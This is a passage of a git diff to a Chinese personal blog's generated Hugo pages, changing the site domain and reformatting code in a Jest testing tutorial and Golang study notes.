+const hello = require('../hello') it('should ', () => { expect(hello()).toBe('hello world') }) package.json
+{ &#34;scripts&#34;: { &#34;test&#34;: &#34;jest&#34; } } 执行测试
 yarn test或者npm run test
 exspect() //运行结果
 toBe() //期待的结果
@@ -62,31 +62,31 @@
 toBeFalsy() //判断结果为false
 toBeGreaterThan(5) //判断结果是否大于5
 toBeLessThan(5) //判断结果是否小于5
-toBeGreaterThanOrEqual(6) //判断结果是否大于等于6"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Jest-JavaScript测试工具","item":"https://xiaochenabc123.github.io/posts/95/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Jest-JavaScript测试工具","name":"简单使用Jest-JavaScript测试工具","description":"Jest是Facebook开源的一套JavaScript测试框架\n安装\n在项目中安装\nyarn add \u0026ndash;dev jest或者npm install \u0026ndash;save-dev jest\n全局安装\nyarn global add jest\nhello.js\nmodule.exports = function(){\rreturn \u0026quot;hello world\u0026quot;\r}\rhello.test.js\nconst hello = require('../hello')\rit('should ', () =\u0026gt; {\rexpect(hello()).toBe('hello world')\r})\rpackage.json\n{\r\u0026quot;scripts\u0026quot;: {\r\u0026quot;test\u0026quot;: \u0026quot;jest\u0026quot;\r}\r}\r执行测试\nyarn test或者npm run test\nexspect() //运行结果\ntoBe() //期待的结果\nnot.toBe() //判断不等\ntoBeNull() //判断是否为NULL\ntoBeUndefined() //判断是否为undefined\ntoBeDefined() //判断是否为undefined取反\ntoBeTruthy() //判断结果为true\ntoBeFalsy() //判断结果为false\ntoBeGreaterThan(5) //判断结果是否大于5\ntoBeLessThan(5) //判断结果是否小于5\ntoBeGreaterThanOrEqual(6) //判断结果是否大于等于6","keywords":["Jest"],"articleBody":"Jest是Facebook开源的一套JavaScript测试框架\n安装\n在项目中安装\nyarn add –dev jest或者npm install –save-dev jest\n全局安装\nyarn global add jest\nhello.js\nmodule.exports = function(){\rreturn \"hello world\"\r}\rhello.test.js\nconst hello = require('../hello')\rit('should ', () =\u003e {\rexpect(hello()).toBe('hello world')\r})\rpackage.json\n{\r\"scripts\": {\r\"test\": \"jest\"\r}\r}\r执行测试\nyarn test或者npm run test\nexspect() //运行结果\ntoBe() //期待的结果\nnot.toBe() //判断不等\ntoBeNull() //判断是否为NULL\ntoBeUndefined() //判断是否为undefined\ntoBeDefined() //判断是否为undefined取反\ntoBeTruthy() //判断结果为true\ntoBeFalsy() //判断结果为false\ntoBeGreaterThan(5) //判断结果是否大于5\ntoBeLessThan(5) //判断结果是否小于5\ntoBeGreaterThanOrEqual(6) //判断结果是否大于等于6\ntoBeLessThanOrEqual(6) //判断结果是否小于等于6\ntoBeCloseTo(3.14) //判断结果是否相等于3.14浮点数\ntoMatch() //判断结果正则表达式\ntoContain() //判断是否包含\nJest默认使用require引用（CommonJS），而使用import的话会报错，因此需要babel工具来将其转换为CommonJS\n当然需要安装babel\nyarn add @babel/core@7.4.5 @babel/preset-env@7.4.5 –dev\n新建.babelrc文件（babel转换配置文件）\n{\r\"presets\":[\r[\r\"@babel/preset-env\",{\r\"targets\":{\r\"node\":\"current\"\r}\r}\r]\r]\r}\r","wordCount":"98","inLanguage":"en","datePublished":"2021-09-06T23:00:00Z","dateModified":"2021-09-06T23:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/95/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Jest-JavaScript测试工具</h1><div class=post-meta><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Jest-JavaScript%e6%b5%8b%e8%af%95%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Jest是Facebook开源的一套JavaScript测试框架</p><p>安装</p><p>在项目中安装</p><p>yarn add &ndash;dev jest或者npm install &ndash;save-dev jest</p><p>全局安装</p><p>yarn global add jest</p><hr><p>hello.js</p><pre><code>module.exports = function(){
-    return &quot;hello world&quot;
-}
-</code></pre><p>hello.test.js</p><pre><code>const hello = require('../hello')
-it('should ', () =&gt; {
-    expect(hello()).toBe('hello world')
-})
-</code></pre><p>package.json</p><pre><code>{
-    &quot;scripts&quot;: {
-        &quot;test&quot;: &quot;jest&quot;
-    }
-}
-</code></pre><p>执行测试</p><p>yarn test或者npm run test</p><hr><p>exspect() //运行结果</p><p>toBe() //期待的结果</p><p>not.toBe() //判断不等</p><p>toBeNull() //判断是否为NULL</p><p>toBeUndefined() //判断是否为undefined</p><p>toBeDefined() //判断是否为undefined取反</p><p>toBeTruthy() //判断结果为true</p><p>toBeFalsy() //判断结果为false</p><p>toBeGreaterThan(5) //判断结果是否大于5</p><p>toBeLessThan(5) //判断结果是否小于5</p><p>toBeGreaterThanOrEqual(6) //判断结果是否大于等于6</p><p>toBeLessThanOrEqual(6) //判断结果是否小于等于6</p><p>toBeCloseTo(3.14) //判断结果是否相等于3.14浮点数</p><p>toMatch() //判断结果正则表达式</p><p>toContain() //判断是否包含</p><hr><p>Jest默认使用require引用（CommonJS），而使用import的话会报错，因此需要babel工具来将其转换为CommonJS</p><p>当然需要安装babel</p><p>yarn add @babel/core@7.4.5 @babel/preset-env@7.4.5 &ndash;dev</p><p>新建.babelrc文件（babel转换配置文件）</p><pre><code>{
-    &quot;presets&quot;:[
-        [
-            &quot;@babel/preset-env&quot;,{
-                &quot;targets&quot;:{
-                    &quot;node&quot;:&quot;current&quot;
-                }
-            }
-        ]
-    ]
-}
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/jest/>Jest</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/96/><span class=title>« Prev</span><br><span>Golang学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/94/><span class=title>Next »</span><br><span>React进阶学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+toBeGreaterThanOrEqual(6) //判断结果是否大于等于6"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Jest-JavaScript测试工具","item":"https://chenjunlinabc.github.io/posts/95/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Jest-JavaScript测试工具","name":"简单使用Jest-JavaScript测试工具","description":"Jest是Facebook开源的一套JavaScript测试框架\n安装\n在项目中安装\nyarn add \u0026ndash;dev jest或者npm install \u0026ndash;save-dev jest\n全局安装\nyarn global add jest\nhello.js\nmodule.exports = function(){ return \u0026quot;hello world\u0026quot; } hello.test.js\nconst hello = require('../hello') it('should ', () =\u0026gt; { expect(hello()).toBe('hello world') }) package.json\n{ \u0026quot;scripts\u0026quot;: { \u0026quot;test\u0026quot;: \u0026quot;jest\u0026quot; } } 执行测试\nyarn test或者npm run test\nexspect() //运行结果\ntoBe() //期待的结果\nnot.toBe() //判断不等\ntoBeNull() //判断是否为NULL\ntoBeUndefined() //判断是否为undefined\ntoBeDefined() //判断是否为undefined取反\ntoBeTruthy() //判断结果为true\ntoBeFalsy() //判断结果为false\ntoBeGreaterThan(5) //判断结果是否大于5\ntoBeLessThan(5) //判断结果是否小于5\ntoBeGreaterThanOrEqual(6) //判断结果是否大于等于6","keywords":["Jest"],"articleBody":"Jest是Facebook开源的一套JavaScript测试框架\n安装\n在项目中安装\nyarn add –dev jest或者npm install –save-dev jest\n全局安装\nyarn global add jest\nhello.js\nmodule.exports = function(){ return \"hello world\" } hello.test.js\nconst hello = require('../hello') it('should ', () =\u003e { expect(hello()).toBe('hello world') }) package.json\n{ \"scripts\": { \"test\": \"jest\" } } 执行测试\nyarn test或者npm run test\nexspect() //运行结果\ntoBe() //期待的结果\nnot.toBe() //判断不等\ntoBeNull() //判断是否为NULL\ntoBeUndefined() //判断是否为undefined\ntoBeDefined() //判断是否为undefined取反\ntoBeTruthy() //判断结果为true\ntoBeFalsy() //判断结果为false\ntoBeGreaterThan(5) //判断结果是否大于5\ntoBeLessThan(5) //判断结果是否小于5\ntoBeGreaterThanOrEqual(6) //判断结果是否大于等于6\ntoBeLessThanOrEqual(6) //判断结果是否小于等于6\ntoBeCloseTo(3.14) //判断结果是否相等于3.14浮点数\ntoMatch() //判断结果正则表达式\ntoContain() //判断是否包含\nJest默认使用require引用（CommonJS），而使用import的话会报错，因此需要babel工具来将其转换为CommonJS\n当然需要安装babel\nyarn add @babel/core@7.4.5 @babel/preset-env@7.4.5 –dev\n新建.babelrc文件（babel转换配置文件）\n{ \"presets\":[ [ \"@babel/preset-env\",{ \"targets\":{ \"node\":\"current\" } } ] ] } ","wordCount":"98","inLanguage":"en","datePublished":"2021-09-06T23:00:00Z","dateModified":"2021-09-06T23:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/95/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Jest-JavaScript测试工具</h1><div class=post-meta><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Jest-JavaScript%e6%b5%8b%e8%af%95%e5%b7%a5%e5%85%b7.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Jest是Facebook开源的一套JavaScript测试框架</p><p>安装</p><p>在项目中安装</p><p>yarn add &ndash;dev jest或者npm install &ndash;save-dev jest</p><p>全局安装</p><p>yarn global add jest</p><hr><p>hello.js</p><pre><code>module.exports = function(){
+    return &quot;hello world&quot;
+}
+</code></pre><p>hello.test.js</p><pre><code>const hello = require('../hello')
+it('should ', () =&gt; {
+    expect(hello()).toBe('hello world')
+})
+</code></pre><p>package.json</p><pre><code>{
+    &quot;scripts&quot;: {
+        &quot;test&quot;: &quot;jest&quot;
+    }
+}
+</code></pre><p>执行测试</p><p>yarn test或者npm run test</p><hr><p>exspect() //运行结果</p><p>toBe() //期待的结果</p><p>not.toBe() //判断不等</p><p>toBeNull() //判断是否为NULL</p><p>toBeUndefined() //判断是否为undefined</p><p>toBeDefined() //判断是否为undefined取反</p><p>toBeTruthy() //判断结果为true</p><p>toBeFalsy() //判断结果为false</p><p>toBeGreaterThan(5) //判断结果是否大于5</p><p>toBeLessThan(5) //判断结果是否小于5</p><p>toBeGreaterThanOrEqual(6) //判断结果是否大于等于6</p><p>toBeLessThanOrEqual(6) //判断结果是否小于等于6</p><p>toBeCloseTo(3.14) //判断结果是否相等于3.14浮点数</p><p>toMatch() //判断结果正则表达式</p><p>toContain() //判断是否包含</p><hr><p>Jest默认使用require引用（CommonJS），而使用import的话会报错，因此需要babel工具来将其转换为CommonJS</p><p>当然需要安装babel</p><p>yarn add @babel/core@7.4.5 @babel/preset-env@7.4.5 &ndash;dev</p><p>新建.babelrc文件（babel转换配置文件）</p><pre><code>{
+    &quot;presets&quot;:[
+        [
+            &quot;@babel/preset-env&quot;,{
+                &quot;targets&quot;:{
+                    &quot;node&quot;:&quot;current&quot;
+                }
+            }
+        ]
+    ]
+}
+</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/jest/>Jest</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/96/><span class=title>« Prev</span><br><span>Golang学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/94/><span class=title>Next »</span><br><span>React进阶学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/96/index.html b/posts/96/index.html
index 60aa2856..46fcd7e1 100644
--- a/posts/96/index.html
+++ b/posts/96/index.html
@@ -13,7 +13,7 @@
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
import &#34;fmt&#34;
func main(){
fmt.Println(&#34;hallo golang&#34;)
}
go run hallo.go
+package main import &#34;fmt&#34; func main(){ fmt.Println(&#34;hallo golang&#34;) } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -34,8 +34,8 @@
 var abc string = &ldquo;hallo&rdquo;
 注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）
 定义多个变量
-var abc xyz string = &ldquo;hallo&rdquo;,&ldquo;word&rdquo;"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/96/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Golang学习笔记"><meta property="og:description" content="Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
+var abc xyz string = &ldquo;hallo&rdquo;,&ldquo;word&rdquo;"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/96/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Golang学习笔记"><meta property="og:description" content="Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
 go的源文件是xxx.go
@@ -50,7 +50,7 @@
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
import &#34;fmt&#34;
func main(){
fmt.Println(&#34;hallo golang&#34;)
}
go run hallo.go
+package main import &#34;fmt&#34; func main(){ fmt.Println(&#34;hallo golang&#34;) } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -71,7 +71,7 @@
 var abc string = &ldquo;hallo&rdquo;
 注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）
 定义多个变量
-var abc xyz string = &ldquo;hallo&rdquo;,&ldquo;word&rdquo;"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/96/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-09T01:00:00+00:00"><meta property="article:modified_time" content="2021-09-09T01:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Golang学习笔记"><meta name=twitter:description content="Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
+var abc xyz string = &ldquo;hallo&rdquo;,&ldquo;word&rdquo;"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/96/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-09T01:00:00+00:00"><meta property="article:modified_time" content="2021-09-09T01:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Golang学习笔记"><meta name=twitter:description content="Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言
 go语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率
 Go语言天生支持并发，提供自动垃圾回收机制
 go的源文件是xxx.go
@@ -86,7 +86,7 @@
 go env
 源程序默认为UTF-8编码，;可省略
 第一个go程序
-package main
import &#34;fmt&#34;
func main(){
fmt.Println(&#34;hallo golang&#34;)
}
go run hallo.go
+package main import &#34;fmt&#34; func main(){ fmt.Println(&#34;hallo golang&#34;) } go run hallo.go
 当然作为一个编译型语言，编译成二进制文件是支持的
 go build hallo.go
 作为一个静态强类型语言，如果学过java的话，理解还是很轻松的
@@ -107,808 +107,808 @@
 var abc string = &ldquo;hallo&rdquo;
 注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）
 定义多个变量
-var abc xyz string = &ldquo;hallo&rdquo;,&ldquo;word&rdquo;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Golang学习笔记","item":"https://xiaochenabc123.github.io/posts/96/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Golang学习笔记","name":"Golang学习笔记","description":"Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言\ngo语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率\nGo语言天生支持并发，提供自动垃圾回收机制\ngo的源文件是xxx.go\n值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了\n检查是否安装成功go\ngo version\n环境配置\nGOROOT对应着go的安装目录\nGOPATH对应着go的源代码目录（可以放多个目录）\nGOBIN对应着 go install安装和编译的二进制程序的安装目录\n检查go环境\ngo env\n源程序默认为UTF-8编码，;可省略\n第一个go程序\npackage main\rimport \u0026quot;fmt\u0026quot;\rfunc main(){\rfmt.Println(\u0026quot;hallo golang\u0026quot;)\r}\rgo run hallo.go\n当然作为一个编译型语言，编译成二进制文件是支持的\ngo build hallo.go\n作为一个静态强类型语言，如果学过java的话，理解还是很轻松的\n定义包 package : 必须在源程序上声明该文件是属性那个包的\n引入包 import : 导入包，引用外部包开扩展功能\n注释\n// 单行\n/* 多 行 